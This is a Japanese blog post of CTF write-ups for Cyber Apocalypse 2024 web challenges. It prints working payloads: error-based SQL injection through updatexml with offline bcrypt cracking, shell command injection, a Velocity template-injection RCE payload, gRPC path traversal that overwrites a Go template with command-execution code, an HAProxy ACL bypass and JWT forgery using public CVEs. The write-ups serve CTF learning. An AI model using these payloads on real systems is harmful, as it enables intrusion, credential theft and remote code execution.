はまやんはまやんはまやん

hamayanhamayan's blog

Cyber Apocalypse 2024: Hacker Royale Writeups

https://ctftime.org/event/2255

[Web] Flag Command

Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!
この世のものとは思えない不思議な森の迷路で目覚める「次元脱出クエスト」に出発しよう。歌うリス、いたずら好きなニンフ、不機嫌な魔法使いなど、異世界の驚きにつながるかもしれない気まぐれな迷宮をナビゲートしよう。魅惑の迷路を制覇するのか、それとも魔法の試練に満ちた異次元の世界に迷い込んでしまうのか?旅はこの神秘的な脱出劇で展開する!

ソースコード無し。
サイトにアクセスするとコンソールが出てくる。
helpと入力するとコマンド一覧が出てきて、startでゲームが遊べる。
一通り遊んだあとにプロキシログを眺めるとGET /api/optionsで面白い応答がある。

{
  "allPossibleCommands": {
    "1": [
      "HEAD NORTH",
      "HEAD WEST",
      "HEAD EAST",
      "HEAD SOUTH"
    ],
    "2": [
      "GO DEEPER INTO THE FOREST",
      "FOLLOW A MYSTERIOUS PATH",
      "CLIMB A TREE",
      "TURN BACK"
    ],
    "3": [
      "EXPLORE A CAVE",
      "CROSS A RICKETY BRIDGE",
      "FOLLOW A GLOWING BUTTERFLY",
      "SET UP CAMP"
    ],
    "4": [
      "ENTER A MAGICAL PORTAL",
      "SWIM ACROSS A MYSTERIOUS LAKE",
      "FOLLOW A SINGING SQUIRREL",
      "BUILD A RAFT AND SAIL DOWNSTREAM"
    ],
    "secret": [
      "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
    ]
  }
}

選択肢が帰ってきているがsecretというのがある。
なのでサイトを開いて、startを実行しBlip-blop, in a pickle with a hiccup! Shmiggity-shmackを入力するとフラグがもらえる。

[Web] KORP Terminal

Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries' privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

ソースコード無し。
ログインページが与えられる。
SQL Injectionを色々試すと、usernameを'にするとエラーが出た。

{"error":{"message":["1064","1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1","42000"],"type":"ProgrammingError"}}

単純に' or 1=1 #だとエラー。
パスワードも確認していそう?(パスワードだとSQL Injectionは起こらないし)

うーーんと思っていたが、エラーが表示されるのでエラー経由で情報が抜けそう。

' OR updatexml(null,concat(0x0a,(SELECT distinct TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES Limit 1,1)),null) # 

PayloadsAllTheThings/SQL Injection/MySQL Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHubにあるようにupdatexmlを使えばいい感じに抜けた。

`' OR updatexml(null,concat(0x0a,(SELECT distinct TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES Limit 1,1)),null) # ` -> korp_terminal
`' OR updatexml(null,concat(0x0a,(select GROUP_CONCAT(distinct table_name) from information_schema.tables where table_schema = 'korp_terminal')),null) # ` -> users
`' OR updatexml(null,concat(0x0a,(select GROUP_CONCAT(column_name) from information_schema.columns where table_name='users' Limit 0,1)),null) # ` -> id,username,password
`' OR updatexml(null,concat(0x0a,(select username from users limit 0,1)),null) # ` -> admin
`' OR updatexml(null,concat(0x0a,(select password from users limit 0,1)),null) # ` -> $2b$12$OF1QqLVkMFUwJrl1J1YG9...

あー、途中で省略されちゃいますね。

`' OR updatexml(null,concat(0x0a,(select SUBSTRING(password,1,10) from users limit 0,1)),null) # ` $2b$12$OF1

こんな感じでsubstringでちまちま持って来る。

$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.

john the ripperとrockyouを使うとクラックできる。

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)

admin:password123でログインするとフラグが得られる。

[Web] TimeKORP

Are you ready to unravel the mysteries and expose the truth hidden within KROP's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.

ソースコード有り。
/flagが取得できればフラグ獲得。

phpコードを見ていくと怪しいクラスがある。

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

コマンドインジェクション感がすごい。
使っているのか以下の部分。

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

?format=入力のような形でコマンドインジェクションできる。
%H' && cat '/flagをformatに入れればフラグ獲得。

[Web] Labyrinth Linguist

You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.

javaで書かれたソースコード付き。
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txtのようにフラグが変名されているので、RCEがゴールだろう。

メインのjavaコードは以下のような感じ。

import java.io.*;
import java.util.HashMap;

import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.ParseException;

@Controller
@EnableAutoConfiguration
public class Main {

    @RequestMapping("/")
    @ResponseBody
    String index(@RequestParam(required = false, name = "text") String textString) {
        if (textString == null) {
            textString = "Example text";
        }

        String template = "";

        try {
            template = readFileToString("/app/src/main/resources/templates/index.html", textString);
        } catch (IOException e) {
            e.printStackTrace();
        }

        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
        StringReader reader = new StringReader(template);

        org.apache.velocity.Template t = new org.apache.velocity.Template();
        t.setRuntimeServices(runtimeServices);
        try {

            t.setData(runtimeServices.parse(reader, "home"));
            t.initDocument();
            VelocityContext context = new VelocityContext();
            context.put("name", "World");

            StringWriter writer = new StringWriter();
            t.merge(context, writer);
            template = writer.toString();

        } catch (ParseException e) {
            e.printStackTrace();
        }

        return template;
    }

    public static String readFileToString(String filePath, String replacement) throws IOException {
        StringBuilder content = new StringBuilder();
        BufferedReader bufferedReader = null;

        try {
            bufferedReader = new BufferedReader(new FileReader(filePath));
            String line;
            
            while ((line = bufferedReader.readLine()) != null) {
                line = line.replace("TEXT", replacement);
                content.append(line);
                content.append("\n");
            }
        } finally {
            if (bufferedReader != null) {
                try {
                    bufferedReader.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }

        return content.toString();
    }

    public static void main(String[] args) throws Exception {
        System.getProperties().put("server.port", 1337);
        SpringApplication.run(Main.class, args);
    }
}

読むと、indexメソッドにてtextStringを読み込んで、readFileToStringメソッドを使ってテンプレートに直接埋め込んでいる。
埋め込まれたテンプレートをorg.apache.velocity.Templateが実行している。
SSTIですね。

https://iwconnect.com/apache-velocity-server-side-template-injection/
ここにRCE例がある。
sleep 5を動かしてみるとちゃんと遅くなった。

#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
#set($readerClass=$stringClass.forName("java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))
#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))

#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat /flag3d7dcfab6c.txt"))
#set($null=$process.waitFor() )

#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())

#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))

$output

これでフラグが手に入る。

[Web] Testimonial

As the leader of the Revivalists you are determined to take down the KORP, you and the best of your faction's hackers have set out to deface the official KORP website to send them a message that the revolution is closing in.

golangで書かれたソースコード有り。
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txtとあるのでRCEがゴールだろう。

grpc.goの以下の部分が怪しい。

func (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) {
    if req.Customer == "" {
        return nil, errors.New("Name is required")
    }
    if req.Testimonial == "" {
        return nil, errors.New("Content is required")
    }

    err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
    if err != nil {
        return nil, err
    }

    return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil
}

パスをSprintfで生成していて、ファイル書き込みをしている。
Path Travarsalの雰囲気がある。
呼び出し元をたどろう。

func (c *Client) SendTestimonial(customer, testimonial string) error {
    ctx := context.Background()
    // Filter bad characters.
    for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
        customer = strings.ReplaceAll(customer, char, "")
    }

    _, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
    return err
}

ブラックリストのフィルタリングがある。
このルートで間違いなさそう。どうやって悪用するかは後で考えるとして、更に呼び出し元をたどる。

func HandleHomeIndex(w http.ResponseWriter, r *http.Request) error {
    customer := r.URL.Query().Get("customer")
    testimonial := r.URL.Query().Get("testimonial")
    if customer != "" && testimonial != "" {
        c, err := client.GetClient()
        if err != nil {
            http.Error(w, err.Error(), http.StatusInternalServerError)

        }

        if err := c.SendTestimonial(customer, testimonial); err != nil {
            http.Error(w, err.Error(), http.StatusInternalServerError)

        }
    }
    return home.Index().Render(r.Context(), w)
}

getのクエリストリングで指定すればいいが、悪用できない…
うーーんと考えているとgRPCをすっかり忘れていることに気が付く。
protoファイルを見ると…

service RickyService {
    rpc SubmitTestimonial(TestimonialSubmission) returns (GenericReply) {}
}

直で呼べる口があるじゃん!!
ここからPath Traversalできる。
grpccを使って呼び出してみよう。
色々頑張ると

https://gchq.github.io/CyberChef/#recipe=Escape_string('Special%20chars','Single',false,true,false)Find/Replace(%7B'option':'Regex','string':'%22'%7D,'%5C%5C%5C%5C%22',true,false,true,false)&input=cGFja2FnZSBob21lDQoNCmltcG9ydCAoDQoJImh0YmNoYWwvdmlldy9sYXlvdXQiDQogICAgIm9zL2V4ZWMiDQopDQoNCnRlbXBsIEluZGV4KCkgew0KCUBsYXlvdXQuQXBwKHRydWUpIHsNCntSQ0UoKX0KCX0NCn0NCg0KZnVuYyBSQ0UoKSBzdHJpbmcgew0KCW91dCwgXyA6PSBleGVjLkNvbW1hbmQoImxzIiwgIi1sYSIpLk91dHB1dCgpDQoJcmV0dXJuIHN0cmluZyhvdXQpDQp9DQ

こういうのをbodyに入れて送るとRCEできる。
つまり、

RickyService@localhost:50045> client.submitTestimonial({customer:"../../view/home/index.templ",testimonial:"package home\r\n\r\nimport (\r\n\t\"htbchal/view/layout\"\r\n    \"os/exec\"\r\n)\r\n\r\ntempl Index() {\r\n\t@layout.App(true) {\r\n{RCE()}\n\t}\r\n}\r\n\r\nfunc RCE() string {\r\n\tout, _ := exec.Command(\"ls\", \"-la\").Output()\r\n\treturn string(out)\r\n}\r"},printReply)

これでRCE出来た。
以下でls /をしてフラグのファイル名を取得。

client.submitTestimonial({customer:"../../view/home/index.templ",testimonial:"package home\r\n\r\nimport (\r\n\t\"htbchal/view/layout\"\r\n    \"os/exec\"\r\n)\r\n\r\ntempl Index() {\r\n\t@layout.App(true) {\r\n{RCE()}\n\t}\r\n}\r\n\r\nfunc RCE() string {\r\n\tout, _ := exec.Command(\"ls\", \"/\").Output()\r\n\treturn string(out)\r\n}\r"},printReply)

以下のようにcatで持って来るとフラグ獲得。

client.submitTestimonial({customer:"../../view/home/index.templ",testimonial:"package home\r\n\r\nimport (\r\n\t\"htbchal/view/layout\"\r\n    \"os/exec\"\r\n)\r\n\r\ntempl Index() {\r\n\t@layout.App(true) {\r\n{RCE()}\n\t}\r\n}\r\n\r\nfunc RCE() string {\r\n\tout, _ := exec.Command(\"cat\", \"/flagcbe1beb221.txt\").Output()\r\n\treturn string(out)\r\n}\r"},printReply)

[Web] LockTalk

In "The Ransomware Dystopia," LockTalk emerges as a beacon of resistance against the rampant chaos inflicted by ransomware groups. In a world plunged into turmoil by malicious cyber threats, LockTalk stands as a formidable force, dedicated to protecting society from the insidious grip of ransomware. Chosen participants, tasked with representing their districts, navigate a perilous landscape fraught with ethical quandaries and treacherous challenges orchestrated by LockTalk. Their journey intertwines with the organization's mission to neutralize ransomware threats and restore order to a fractured world. As players confront internal struggles and external adversaries, their decisions shape the fate of not only themselves but also their fellow citizens, driving them to unravel the mysteries surrounding LockTalk and choose between succumbing to despair or standing resilient against the encroaching darkness.

ソースコード有り。

まずは、/api/v1/get_ticketにあるアクセス制限をなんとかする。
haproxy.cfgをみるとhttp-request deny if { path_beg,url_dec -i /api/v1/get_ticket }のようにdeny設定ありますね。

haproxy 2.8.1とバージョン指定で入れられているので脆弱性を見てみる。
(最初Request Smugglingの方かと思ってCVE-2023-40225を深堀して無限に時間を溶かした)
CVE-2023-45539を使う。
https://github.com/advisories/GHSA-79q7-m98p-qvhp
#入りでも送れちゃうと言うことなので、以下のようなリクエストを送ると、チェックをbypassできてjwtがもらえる。

GET /api/v1/get_ticket# HTTP/1.1
Host: 83.136.250.103:31411
Accept: */*

こういうのを送ってみると、

HTTP/1.1 200 OK
content-type: application/json
content-length: 554
server: uWSGI Server

{"ticket: ":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.BtEXY3gsVkcHMBBuNjgbGwrrFL1oS6Xhl4b4NTYpUcPFqYT5tB66TiSAqqHwFsA0o4kJb6-pFzd4ItX0nw8lJr0ZKvQRbaVC1gztWDMrNcYI5jebX2ddeTExTGIX1YrwBOCzGTxvP1DhZLqsrg3-tDIKlMUx_vaqxpztxGTKA5yDeiEkNH4NNHOTHLggAHM-8dHVvwORePPbXywTrzDlDWXHow-wzZoEv_Pvi3Z5esdRY5Xc6IWiUUYNFKN--C1Dtcx9a3TSmA4o57qYc3rB03xTqyuTN-WWknSgXfLYDlr37YtVwNFNYdR1swmp_Vdc_EFogwl7x1QVQmnqJFp-bg"}

他色々探すと、python_jwt==3.3.3というのが怪しい。
https://github.com/advisories/GHSA-5p8v-58qm-c7fp
これですね。PoCもある。
https://github.com/user0x1337/CVE-2022-39227

$ python3 CVE-2022-39227/cve_2022_39227.py -j 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.BtEXY3gsVkcHMBBuNjgbGwrrFL1oS6Xhl4b4NTYpUcPFqYT5tB66TiSAqqHwFsA0o4kJb6-pFzd4ItX0nw8lJr0ZKvQRbaVC1gztWDMrNcYI5jebX2ddeTExTGIX1YrwBOCzGTxvP1DhZLqsrg3-tDIKlMUx_vaqxpztxGTKA5yDeiEkNH4NNHOTHLggAHM-8dHVvwORePPbXywTrzDlDWXHow-wzZoEv_Pvi3Z5esdRY5Xc6IWiUUYNFKN--C1Dtcx9a3TSmA4o57qYc3rB03xTqyuTN-WWknSgXfLYDlr37YtVwNFNYdR1swmp_Vdc_EFogwl7x1QVQmnqJFp-bg' -i "role=administrator"

...


auth={"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"BtEXY3gsVkcHMBBuNjgbGwrrFL1oS6Xhl4b4NTYpUcPFqYT5tB66TiSAqqHwFsA0o4kJb6-pFzd4ItX0nw8lJr0ZKvQRbaVC1gztWDMrNcYI5jebX2ddeTExTGIX1YrwBOCzGTxvP1DhZLqsrg3-tDIKlMUx_vaqxpztxGTKA5yDeiEkNH4NNHOTHLggAHM-8dHVvwORePPbXywTrzDlDWXHow-wzZoEv_Pvi3Z5esdRY5Xc6IWiUUYNFKN--C1Dtcx9a3TSmA4o57qYc3rB03xTqyuTN-WWknSgXfLYDlr37YtVwNFNYdR1swmp_Vdc_EFogwl7x1QVQmnqJFp-bg"}

ということで、すごい形だけど

GET /api/v1/flag HTTP/1.1
Host: 83.136.250.103:31411
Authorization: {"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"BtEXY3gsVkcHMBBuNjgbGwrrFL1oS6Xhl4b4NTYpUcPFqYT5tB66TiSAqqHwFsA0o4kJb6-pFzd4ItX0nw8lJr0ZKvQRbaVC1gztWDMrNcYI5jebX2ddeTExTGIX1YrwBOCzGTxvP1DhZLqsrg3-tDIKlMUx_vaqxpztxGTKA5yDeiEkNH4NNHOTHLggAHM-8dHVvwORePPbXywTrzDlDWXHow-wzZoEv_Pvi3Z5esdRY5Xc6IWiUUYNFKN--C1Dtcx9a3TSmA4o57qYc3rB03xTqyuTN-WWknSgXfLYDlr37YtVwNFNYdR1swmp_Vdc_EFogwl7x1QVQmnqJFp-bg"}

これでフラグ獲得。

[Web] SerialFlow 解けなかった

https://github.com/hackthebox/cyber-apocalypse-2024
ここに公式解説あります。

[Web] Perceptron 解いてない

[Web] Apexsurvive 解いてない